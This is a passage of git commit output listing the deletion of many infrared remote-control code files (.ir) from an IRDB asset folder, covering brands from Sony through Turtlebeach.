assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/Receiver/48,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/Receiver/6,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/Receiver/7,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/Receiver/8,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/Surround Processor/26,233.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/TV/1,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/TV/119,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/TV/151,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/TV/164,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/TV/183,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/TV/26,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/TV/26,42.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/TV/3,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/TV/84,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/TiVo/183,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/TiVo/23,133.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/TiVo/26,154.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/Unknown_870/1,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/Unknown_CD/17,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/Unknown_CDIR/17,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/Unknown_CDP-790/17,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/Unknown_D1000/89,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/Unknown_DAT/28,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/Unknown_DVD/26,18.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/Unknown_DVD/26,73.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/Unknown_RM-687C/1,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/Unknown_RM-860/1,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/Unknown_RM-861/1,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/Unknown_RM-873/1,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/Unknown_RM-D190/17,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/Unknown_RM-D270/17,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/Unknown_RM-D295/17,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/Unknown_RM-D302/17,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/Unknown_RM-D320/17,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/Unknown_RM-D325/17,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/Unknown_RM-D391/17,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/Unknown_RM-D520/17,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/Unknown_RM-D55/17,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/Unknown_RM-D690/17,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/Unknown_RM-D706/17,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/Unknown_RM-D797/17,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/Unknown_RM-D7M/15,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/Unknown_RM-D820/17,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/Unknown_RM-D90/17,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/Unknown_RM-D921/17,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/Unknown_RM-D991/17,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/Unknown_RM-DM7/17,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/Unknown_RM-DX740/17,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/Unknown_RM-ED019/26,73.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/Unknown_RM-PJP1/26,42.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/Unknown_RM-SG20/131,0.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/Unknown_RM-SG5/131,0.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/Unknown_RM-SG7/131,0.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/Unknown_RM-V211T/2,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/Unknown_RM-W101/1,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/Unknown_RM-X30/132,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/Unknown_RM-X40/132,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/Unknown_RM-X42/132,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/Unknown_RM-X47/132,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/Unknown_RM-Y155B/1,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/Unknown_RM-Y173/1,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/Unknown_RM-Y180/1,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/Unknown_RM-Y800/183,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/Unknown_RM-Y812/183,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/Unknown_RMT-136/2,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/Unknown_RMT-506/7,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/Unknown_RMT-B101A/26,226.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/Unknown_RMT-CF1A/26,19.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/Unknown_RMT-D115P/26,73.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/Unknown_RMT-D126A/26,73.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/Unknown_RMT-D126E/26,73.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/Unknown_RMT-D129A/26,73.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/Unknown_RMT-DSC2/26,241.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/Unknown_RMT-V107/11,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/Unknown_RMT-V270/11,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/Unknown_RMT-V501A/26,83.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/Unknown_SONY/17,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/Unknown_TUNER/13,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/Unknown_VPL-W400/84,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/Unknown_VaioRemote/4,15.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/Unknown_lircd.conf/17,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/Unknown_rm-d10p/26,97.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/Unknown_rm-d29m/15,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/Unknown_rm-d5/17,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/Unknown_rm-dm9/223,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/Unknown_rm-x95/132,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/Unknown_sony-cd/17,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/Unknown_sonyRM-sep303/4,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/Unknown_sonytv/1,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/Unknown_tv/1,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/Unknown_tv/2,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/VCR/0,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/VCR/1,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/VCR/11,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/VCR/180,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/VCR/185,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/VCR/186,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/VCR/2,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/VCR/25,37.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/VCR/25,69.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/VCR/5,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/VCR/7,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/VCR/9,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/Video Projector/26,42.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/Video Projector/84,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Speed-link/Unknown_SL-6399/0,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Starsat/Unknown_120/64,64.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Starview/Unknown_Starview/0,249.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Streamzap/Unknown_PC/35,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sumvision/Unknown_Sumvision/0,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sunfire/Surround Processor/184,0.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sunfire/Surround Processor/184,1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sunfire/Surround Processor/184,3.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sungale/Unknown_JX-2002/0,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Supermax/Unknown_Supermax/128,38.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Supportplus/Unknown_SP-URC-LCD-F15/10,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Syabas/Unknown_A-100/4,203.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Symphonic/TV/41,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Symphonic/VCR/40,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Symphonic/VCR/44,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/TCM/Unknown_212845-CD/5,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/TCM/Unknown_218681/5,5.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/TCM/Unknown_225925/24,233.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/TCM/Unknown_225926/35,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/TCM/Unknown_96518/0,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/TCM/Unknown_TCM/176,0.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/TCUAG/Unknown_TVBOX/6,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/TEAC/DVD Player/163,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/TEAC/DVD Player/175,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/TEAC/Unknown_CD/134,97.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/TEAC/Unknown_RC-547/3,1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/TEAC/Unknown_RC-548/128,114.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/TEAC/Unknown_RC-558/130,120.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/TEAC/Unknown_RC-614/0,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/TEAC/Unknown_RC-909/34,1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/TECHNICS/Unknown_EUR643880/160,10.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/TECHNICS/Unknown_EUR64798/160,10.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/TECHNICS/Unknown_EUR64799/160,10.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/TECHNICS/Unknown_EURXP300/160,10.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/TECHNICS/Unknown_cd/160,10.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/TECHNICS/Unknown_sl-ps670a/160,10.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/TECHNISAT/Unknown_100TS035/10,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/TECHNISAT/Unknown_FBPNA35/10,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/TECHNISAT/Unknown_FBPVR335A/10,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/TECHNISAT/Unknown_ST3002S/1,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/TECHNISAT/Unknown_ST3004S/1,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/TECHNISAT/Unknown_TECHNISAT/1,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/TECHNISAT/Unknown_TTS35AI.conf/10,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/TECHNISAT/Unknown_TTS35AI/10,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/TECHNISAT/Unknown_st-6000e/131,121.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/TELEFUNKEN/AUDIO_IR3000/0,1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/TELEFUNKEN/TV_1127/7,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/TELEFUNKEN/TV_RC-1345/5,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/TELEFUNKEN/VCR_FB1550/67,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/TELEFUNKEN/VCR_RC1323-Video-B/8,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/TRIAX/Unknown_DVB/10,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Tab Electronics/Unknown_Kit/0,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Tangent/Tangent-HiFi-II_Ampster-BT_CD_Tuner/6,248.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Technosonic/Unknown_DVD-204/16,237.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Technotrend/Unknown_DVB/21,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Technotrend/Unknown_Micro/21,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Technotrend/Unknown_S2400/21,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Technotrend/Unknown_Technotrend/21,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Technotrend/Unknown_remote/21,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Teleka/Unknown_STR2060/1,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Telemann/PC HDTV Tuner Card/8,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Televes/Unknown_145075/8,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Televes/Unknown_711701/1,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Tensai/Unknown_5340fb/134,124.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Terratec/Internet Radio/4,243.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Terratec/Unknown_1400/4,235.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Terratec/Unknown_Cinergy/134,107.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Terratec/Unknown_Cinergy/20,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Terratec/Unknown_Cinergy/4,235.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Terratec/Unknown_M3PO/10,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Terratec/Unknown_home/1,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Tesla/Unknown_32LCD70WDGHD/1,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Tesla/Unknown_Tesla/11,11.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Tesla/Unknown_Tesla/5,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Tevion/Unknown_3830/1,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Tevion/Unknown_41666/131,69.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Tevion/Unknown_DFA/0,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Tevion/Unknown_DVD/67,71.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Tevion/Unknown_MD-5410/5,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Tevion/Unknown_MD/23,105.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Tevion/Unknown_MD/48,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Tevion/Unknown_MDC-982PLL/162,162.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Tevion/Unknown_RS20536/67,71.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Tevion/Unknown_SAT928/5,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Tevion/Unknown_TDR-250HD/0,159.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Tevion/Unknown_TDR51DV/0,159.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Tevion/Unknown_TE-0603/64,63.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Tevion/Unknown_TEV1020/0,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Tevion/Unknown_Tevion-MD80383/5,5.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Tevion/Unknown_Tevion-MD81035-ASAT-Code-0905/23,105.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Tevion/Unknown_TevionMd3607/7,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Theta Digital/DVD Player/163,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Theta Digital/DVD Player/175,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Theta Digital/Surround Processor/16,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Thinkgeek/Unknown_Lightbulb/64,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Thompson/Unknown_THOMPSON/133,48.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Thomson/Unknown_230/0,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Thomson/Unknown_RCS615TCLM1/5,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Thomson/Unknown_TM9258/128,255.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Thomson/Unknown_TV/7,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/TiVo/PVR/26,154.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/TiVo/TiVo/133,48.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/TiVo/Unknown_Series1/133,48.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Tivoli/Unknown_Sirius/0,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Tokai/Unknown_DVD-715/32,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Topfield/Unknown_PVR/32,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Topfield/Unknown_TF4000Fi/4,255.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Topfield/Unknown_TF4000PVR/32,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Topseed/Unknown_Topseed/4,15.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Toshiba/DVD Player/69,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Toshiba/TV/64,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Toshiba/Unknown_CT-816/64,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Toshiba/Unknown_CT-826/64,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Toshiba/Unknown_CT-832/64,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Toshiba/Unknown_CT-859/64,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Toshiba/Unknown_CT-90038/231,10.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Toshiba/Unknown_CT-90205/231,10.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Toshiba/Unknown_CT-90298/64,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Toshiba/Unknown_CT-90326/64,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Toshiba/Unknown_CT-9573/64,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Toshiba/Unknown_CT-9784/64,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Toshiba/Unknown_CT-9881/134,107.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Toshiba/Unknown_CT-9952/64,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Toshiba/Unknown_G83C0008A110/4,15.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Toshiba/Unknown_RM-614Q/5,5.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Toshiba/Unknown_SE-R0031/69,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Toshiba/Unknown_SE-R0049/69,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Toshiba/Unknown_SE-R0058/69,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Toshiba/Unknown_SE-R0127/69,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Toshiba/Unknown_TOSHIBA/64,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Toshiba/Unknown_TOSHIBA/68,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Toshiba/Unknown_TOSHTV/64,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Toshiba/Unknown_TSR-101R/66,187.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Toshiba/Unknown_Toshiba-SE-R0047/69,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Toshiba/Unknown_Toshiba-SE-R0090/69,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Toshiba/Unknown_VC-642T/68,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Toshiba/Unknown_VC-90B/68,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Toshiba/Unknown_VT-11/68,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Toshiba/Unknown_VT-204G/68,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Toshiba/Unknown_VT-209W/68,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Toshiba/Unknown_VT-75F/68,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Toshiba/Unknown_toshiba-RM-A210/42,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Toshiba/VCR/68,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Total Control/Unknown_Control/7,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Total Media In Hand/Unknown_Media/2,189.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Traxis/Unknown_3500/4,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Trust/Unknown_RC-2400/52,15.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Trutech/Unknown_TV/0,1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Turtle Beach/MP3 Player/1,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Turtle Beach/MP3 Player/1,249.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Turtlebeach/Unknown_Audiotron/1,249.ir delete mode 100644 